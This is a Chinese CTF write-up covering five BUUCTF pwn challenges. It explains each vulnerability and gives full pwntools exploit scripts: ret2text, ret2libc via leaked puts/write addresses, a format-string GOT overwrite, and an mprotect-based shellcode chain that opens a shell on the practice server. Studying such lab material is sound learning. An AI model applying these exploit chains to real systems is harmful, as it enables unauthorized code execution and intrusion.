BUUCTF pwn wp 6 - 10

jarvisoj_level0

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
栈溢出, 且到RBP的偏移为0x80, 查找字符串发现有"/bin/sh"

在这里插入图片描述

索引到引用的函数, 查看地址是
在这里插入图片描述

直接ret2text, 劫持执行流到后门函数即可, 因为是64系统, 所以需要平衡栈, 劫持到后门函数的第二条指令(跳过push RBP), 或者在EBP覆盖retn指令地址, 弹出一个字长内容.

在这里插入图片描述

from pwn import *

URL = "node3.buuoj.cn"
PORT = 26152
sel = 1
io = process('./level0') if sel == 0 else remote(URL, PORT)

syscall_addr = 0x0000000000400597
payload = cyclic(0x80 + 8) + p64(syscall_addr) 

io.recvline()
io.sendline(payload)
io.interactive()

在这里插入图片描述

ciscn_2019_c_1

一道经典的先泄露libc, 再攻击的ROP题目.

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
栈溢出, 但是没找到system("/bin/sh")后门, 所以是ret2libc. 先泄露libc版本, puts函数地址, 再通过计算libcbase计算服务器上真实的system地址, ROP链传入"/bin/sh"参数, 拿shell.

这里需要LibcSearcher泄露libc版本, 下载libc database

# 安装LibcSearcher
python -m pip install LibcSearcher
# 下载libc库
git clone https://github.com/niklasb/libc-database.git

劫持执行流到encrypt(), 因为第一步payload1需要泄露出puts函数地址, 找到libc版本, 第二步注意再回到encrypt()函数开头继续执行一次, 再传payload2拿shell. 因为加密函数会在x >= strlen(s)时进行, 所以只有第一次传入payload时需要加密(因为只是异或, 加密 = 解密), 经过解密后, 还原了原来的payload, 就可以劫持执行流. 第二次不用, 因为x == strlen(s)

在这里插入图片描述在这里插入图片描述

在这里插入图片描述
记得system函数64位下, 需要平衡栈, 所以先ret一次, 弹出一个字长的数据, 再跟着ROP链.

from pwn import *
from LibcSearcher import *

def encrypt(payload):
    payload_enc = []
    for c in payload:
        if c <= 96 or c > 122:
            if c <= 64 or c > 90: 
                if c > 47 and c <= 57:
                    c ^= 0xF
            else: c ^= 0xE
        else: c ^= 0xD
        payload_enc.append(chr(c))  
    return "".join(payload_enc)

URL = "node3.buuoj.cn"
PORT = 29381

sel = 1
io = process('./ciscn_2019_c_1') if sel == 0 else remote(URL, PORT)

elf = ELF('./ciscn_2019_c_1')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi_ret_addr = 0x0000000000400c83
ret_addr = 0x00000000004006b9
encrypt_addr = 0x00000000004009A0
pad = 0x50

payload1 = cyclic(pad + 8) + p64(pop_rdi_ret_addr) + p64(puts_got) + p64(puts_plt) + p64(encrypt_addr)
payload1 = encrypt(list(payload1))

io.recvuntil('Input your choice!\n')
io.sendline('1')
io.recvuntil('Input your Plaintext to be encrypted\n')
io.sendline(payload1)
io.recvuntil('Ciphertext\n')
io.recvuntil('\n')
puts_addr = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00'))
io.recvuntil('Input your Plaintext to be encrypted\n')

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = cyclic(pad + 8) + p64(ret_addr) + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr)

io.sendline(payload2)
io.interactive()

在这里插入图片描述

[第五空间2019 决赛]PWN5

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
从/dev/urandom中读取一个随机值, passwd == 这个随机值时, 就可以执行后门函数. 只有一个格式化字符串漏洞printf(buf), 所以思路大致三种, 一通过格式化漏洞将atoi_got改成system_plt, 如此执行atoi(nptr)就会变成执行system("/bin/sh")拿到shell. 二是通过格式化漏洞将随机值覆盖成特定值, 然后传入设定的值完成验证. 三是泄露随机值, 再填入(这个思路有待检验). 现在利用fmtstr_payload函数自动生成payload实现攻击.

from pwn import *
from LibcSearcher import *

URL = "node3.buuoj.cn"
PORT = 28367

sel = 1
io = process('./5thpwn') if sel == 0 else remote(URL, PORT)

elf = ELF('./5thpwn')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']

payload1 = fmtstr_payload(10, {atoi_got: system_plt})
payload2 = b'/bin/sh\x00'

io.recvuntil('your name:')
io.sendline(payload1)
io.recvuntil('your passwd:')
io.sendline(payload2)
io.interactive()

在这里插入图片描述

[OGeek2019]babyrop

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
可以通过’\x00’绕过字符串比较. 因为但字节最高255, 所以v2作为sub804871F()函数的返回, 在sub_80487D0()函数的参数, 是作为read的最多字节数. 而buf只有231个字节, 能溢出24字节, 在溢出空间有限的情况下可以构造ROP链完成攻击. 这里需要用write()进行泄露. 第一次记得返回到main函数, 并且第一个参数是1, 表示main函数没有额外参数.

from pwn import *
from LibcSearcher import *

URL = "node3.buuoj.cn"
PORT = 28063

sel = 0
io = process('./babyrop') if sel == 0 else remote(URL, PORT)
elf = ELF('./babyrop')
libc = elf.libc if sel == 0 else ELF('./libc-2.23.so')

puts_got = elf.got['puts']
write_plt = elf.plt['write']
main_addr = 0x08048825

payload1 = flat(['\x00' * 7, '\xff'])
payload2 = cyclic(0xE7 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(puts_got) + cyclic(4)

io.sendline(payload1)
io.recvline()
io.sendline(payload2)
puts_addr = u32(io.recv(4))
print(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload3 = cyclic(0xE7 + 4) + p32(sys_addr) + cyclic(4) + p32(bin_sh_addr)

io.sendline(payload1)
io.recvline()
io.sendline(payload3)
io.interactive()

在这里插入图片描述

get_started_3dsctf_2016

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

查找字符串
在这里插入图片描述

在这里插入图片描述
查找交叉引用, 发现没有执行流调用这个函数, 所以可以栈溢出劫持执行流到这个函数, 并且传递两个参数a1 = 814536271, a2 = 425138641. 这样就能读出flag. 尝试了一下, 发现并不成功. 观察一下a1, a2的地址
在这里插入图片描述
在返回地址之后, 即父栈帧的空间里, 因为ebp内容被覆盖成填充的数据, 则被劫持的执行流不会正确设置ebp, 所以通过ebp索引不到a1和a2参数. 即使设置了a1和a2正确也无济于事. (参数索引一般用ebp+n进行). 所以想直接返回到get_flag函数行不通. 不过既然只是一个if判断, 则想到可以绕过if判断, 直接返回到if判断语句之后一条指令地址不就可以了?!

在这里插入图片描述

from pwn import *
from LibcSearcher import *

URL = "node3.buuoj.cn"
PORT = 25929

sel = 1
io = process('./get_started_3dsctf_2016') if sel == 0 else remote(URL, PORT)

pad = 0x38 - 0x4 # 这里偏移是根据esp + 4h 和 ebp - 38h计算
get_flag_addr = 0x080489B8

payload = cyclic(pad + 4) + p32(get_flag_addr)

# io.recv()
io.sendline(payload)
io.interactive()

不过远程打不通, 可能是因为…???

第二种方法, 通过mprotect函数修改内存权限, 然后规约到ret2shellcode题目. 发现二进制程序时静态链接的, 其中包含了很多函数, 也包括mprotect().
在这里插入图片描述在这里插入图片描述

// mprotect函数:定义如下
int mprotect(void *addr, size_t len, int prot);
// addr 内存启始地址
// len  修改内存的长度
// prot 内存的权限

劫持执行流到mprotect(), 传入参数并修改内存权限, 然后跳到read函数再传一次shellcode, 执行就能拿shell. 因为静态编译的程序, 里面也包含了read函数, 所以可以这样用. 另外用shellcraft.sh()API就可以直接生成shellcode.

具体取那一段作为RWX段, 可以通过IDA, ctrl + s查看各段信息
在这里插入图片描述
可以选择可读可写的0x080EB000开始(其他数据段被修改会影响程序执行), size = 0x300(shellcode在0x100以内所以够用了), 修改权限为4 + 2 + 1 = 7, RWX, 这样用read()将shellcode读到该段即可运行.

查找gadgets

ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" | grep pop

在这里插入图片描述

from pwn import *

elf = ELF('./get_started_3dsctf_2016')
sel = 0
io = process('./get_started_3dsctf_2016') if sel == 0 else remote("node3.buuoj.cn", 25929)
# get_started_3dsctf_2016

pad = 0x38
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
mem_addr = 0x080EB000
mem_size = 0x300
mem_proc = 7
read_arg1 = 0
read_arg2 = mem_addr
read_arg3 = 0x100
pop3_ret_addr = 0x0804f460

payload1 = cyclic(pad) + p32(mprotect_addr) + p32(pop3_ret_addr) + p32(mem_addr) + p32(mem_size) + p32(mem_proc)
payload1 += p32(read_addr) + p32(pop3_ret_addr) + p32(read_arg1) + p32(read_arg2) + p32(read_arg3) + p32(mem_addr)

payload2 = asm(shellcraft.sh(), arch = 'i386', os = 'linux')

io.sendline(payload1)
io.sendline(payload2)
io.interactive()

在这里插入图片描述



总结

找出所有能输入的点, 这样能更迅速的找到漏洞.

输入输出对象io的send(), recv()函数, 会自动将字符串转换为字节流, 另外如果要另外设置函数处理payload, 参数必须是默认类型, 如果是bytes字节流作为函数参数会报错, 需要传入之前先list()为列表.

如果远程能打通, 本地打不通, 用elf.libc自动选择本地libc文件. 这样可以打通本地.

gets函数和read函数都需要sendline()因为都是以换行符为结尾.

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值